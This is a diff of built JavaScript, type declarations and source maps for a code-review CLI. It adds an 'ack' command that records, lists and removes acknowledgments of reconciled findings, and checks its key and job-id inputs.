+ {"version":3,"file":"ack.d.ts","sourceRoot":"","sources":["../../src/commands/ack.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAY9D,UAAU,OAAO;IACf,MAAM,EAAE,MAAM,CAAA;IACd,aAAa,CAAC,EAAE,MAAM,CAAA;IACtB,GAAG,CAAC,EAAE,MAAM,CAAA;IACZ,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,KAAK,CAAC,EAAE,MAAM,CAAA;CACf;AA2CD,eAAO,MAAM,UAAU,EAAE,aAAa,CAAC,MAAM,EAAE,OAAO,CAqFrD,CAAA"}
@@ -0,0 +1,123 @@
1
+ import fs from 'node:fs';
2
+ import path from 'node:path';
3
+ import { AckStore, FINDING_KEY_RE } from '../core/ack-store.js';
4
+ import { JobStore } from '../core/job-store.js';
5
+ import { normalizeLocationForKey } from '../core/stable-id.js';
6
+ import { findProjectRoot } from '../core/project-root.js';
7
+ import { resolveJobsDir, resolveSessionRoot } from './sessions.js';
8
+ const JOB_ID_RE = /^mmr-[a-f0-9]{12}$/;
9
+ // Generous upper bound on a results.json read. This is trusted MMR-written
10
+ // state under the user's MMR root, but cap it well above any realistic file
11
+ // so a pathological size can't be slurped whole into memory.
12
+ const MAX_RESULTS_BYTES = 16 * 1024 * 1024;
13
+ function loadResults(store, jobId) {
14
+ const fp = path.join(store.getJobDir(jobId), 'results.json');
15
+ try {
16
+ if (fs.statSync(fp).size > MAX_RESULTS_BYTES)
17
+ return undefined;
18
+ return JSON.parse(fs.readFileSync(fp, 'utf-8'));
19
+ }
20
+ catch {
21
+ return undefined; // missing, oversized, or malformed → no source finding here
22
+ }
23
+ }
24
+ /** Search for a reconciled finding matching the given key across recent jobs (newest first). */
25
+ function findSourceFinding(store, key, jobHint) {
26
+ const sources = jobHint ? [jobHint] : store.listJobs().map((j) => j.job_id);
27
+ for (const jobId of sources) {
28
+ const r = loadResults(store, jobId);
29
+ // Guard against a malformed results.json whose reconciled_findings is
30
+ // missing or not an array (would otherwise throw in the for-of below).
31
+ if (!r || !Array.isArray(r.reconciled_findings))
32
+ continue;
33
+ for (const f of r.reconciled_findings) {
34
+ // Require a string location too: normalizeLocationForKey would throw on a
35
+ // missing/undefined location in a malformed record.
36
+ if (f.finding_key === key && typeof f.location === 'string' && f.description_shingle) {
37
+ return {
38
+ normalized_location: normalizeLocationForKey(f.location),
39
+ description_shingle: f.description_shingle,
40
+ };
41
+ }
42
+ }
43
+ }
44
+ return undefined;
45
+ }
46
+ export const ackCommand = {
47
+ command: 'ack <action> [finding-key]',
48
+ describe: 'Manage finding acknowledgments (T2-D)',
49
+ builder: (yargs) => yargs
50
+ .positional('action', {
51
+ type: 'string',
52
+ choices: ['add', 'list', 'rm', 'prune'],
53
+ demandOption: true,
54
+ })
55
+ .positional('finding-key', { type: 'string' })
56
+ .option('job', { type: 'string', describe: 'Job id to look up the source finding from' })
57
+ .option('reason', { type: 'string', describe: 'Why this finding is being acked' })
58
+ .option('scope', {
59
+ type: 'string',
60
+ choices: ['project', 'user'],
61
+ default: 'project',
62
+ describe: 'Scope of the ack (project=./.mmr/acks, user=~/.mmr/acks)',
63
+ }),
64
+ handler: (args) => {
65
+ // The ack CLI is operator-driven on a trusted machine, so it manages both
66
+ // project and user scopes directly (unlike the review gate, which gates
67
+ // project acks behind trust). Scope selection is explicit via --scope.
68
+ // Project root is discovered from cwd (works from a subdirectory); user
69
+ // acks live under the MMR state root (resolveSessionRoot(), MMR_HOME-aware).
70
+ const ackStore = new AckStore({ projectRoot: findProjectRoot(), userRoot: resolveSessionRoot() });
71
+ if (args.action === 'list') {
72
+ console.log(JSON.stringify(ackStore.listAll(), null, 2));
73
+ return;
74
+ }
75
+ if (args.action === 'prune') {
76
+ // Prune is a no-op for v3.30 unless we add a stale-marker; emit a stub.
77
+ console.log(JSON.stringify({ pruned: 0, note: 'prune is a no-op until stale-marker support lands' }, null, 2));
78
+ return;
79
+ }
80
+ const key = args['finding-key'];
81
+ if (!key) {
82
+ console.error(`mmr ack ${args.action}: <finding-key> required`);
83
+ process.exit(1);
84
+ }
85
+ if (!FINDING_KEY_RE.test(key)) {
86
+ console.error(`Invalid finding_key: ${key} — must match ^[a-f0-9]{40}$`);
87
+ process.exit(1);
88
+ }
89
+ const scope = (args.scope ?? 'project');
90
+ if (args.action === 'rm') {
91
+ ackStore.remove(key, scope);
92
+ console.log(JSON.stringify({ removed: key, scope }, null, 2));
93
+ return;
94
+ }
95
+ // Validate the optional --job hint before any path construction, mirroring
96
+ // the finding_key check (getJobDir also guards against escape, but reject
97
+ // early here for a clear operator error).
98
+ if (args.job !== undefined && !JOB_ID_RE.test(args.job)) {
99
+ console.error(`Invalid job id: ${args.job} — must match ^mmr-[a-f0-9]{12}$`);
100
+ process.exit(1);
101
+ }
102
+ // add: need a source finding to capture location + shingle. Jobs live under
103
+ // the MMR root (honors MMR_HOME), same as where review writes them.
104
+ const jobStore = new JobStore(resolveJobsDir());
105
+ const src = findSourceFinding(jobStore, key, args.job);
106
+ if (!src) {
107
+ const where = args.job ? ` (job=${args.job})` : '';
108
+ console.error(`No reconciled finding with key ${key} found in recent jobs${where}.`);
109
+ console.error('Tip: pass --job <id> if you know which job surfaced this finding.');
110
+ process.exit(1);
111
+ }
112
+ const record = {
113
+ finding_key: key,
114
+ normalized_location: src.normalized_location,
115
+ description_shingle: src.description_shingle,
116
+ ...(args.reason !== undefined ? { reason: args.reason } : {}),
117
+ created_at: new Date().toISOString(),
118
+ };
119
+ ackStore.add(record, scope);
120
+ console.log(JSON.stringify({ added: key, scope }, null, 2));
121
+ },
122
+ };
123
+ //# sourceMappingURL=ack.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ack.js","sourceRoot":"","sources":["../../src/commands/ack.ts"],"names":[],"mappings":"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"}
@@ -1,6 +1,11 @@
1
1
  import type { CommandModule } from 'yargs';
2
2
  interface ConfigArgs {
3
3
  action: string;
4
+ name?: string;
5
+ target?: string;
6
+ 'with-examples'?: boolean;
7
+ 'no-redact'?: boolean;
8
+ redact?: boolean;
4
9
  }
5
10
  export declare const configCommand: CommandModule<object, ConfigArgs>;
6
11
  export {};
@@ -1 +1 @@
1
- {"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../../src/commands/config.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAO9D,UAAU,UAAU;IAClB,MAAM,EAAE,MAAM,CAAA;CACf;AAuFD,eAAO,MAAM,aAAa,EAAE,aAAa,CAAC,MAAM,EAAE,UAAU,CA0B3D,CAAA"}
1
+ {"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../../src/commands/config.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,aAAa,EAAsB,MAAM,OAAO,CAAA;AAgB9D,UAAU,UAAU;IAClB,MAAM,EAAE,MAAM,CAAA;IACd,IAAI,CAAC,EAAE,MAAM,CAAA;IACb,MAAM,CAAC,EAAE,MAAM,CAAA;IACf,eAAe,CAAC,EAAE,OAAO,CAAA;IACzB,WAAW,CAAC,EAAE,OAAO,CAAA;IACrB,MAAM,CAAC,EAAE,OAAO,CAAA;CACjB;AA+SD,eAAO,MAAM,aAAa,EAAE,aAAa,CAAC,MAAM,EAAE,UAAU,CA2D3D,CAAA"}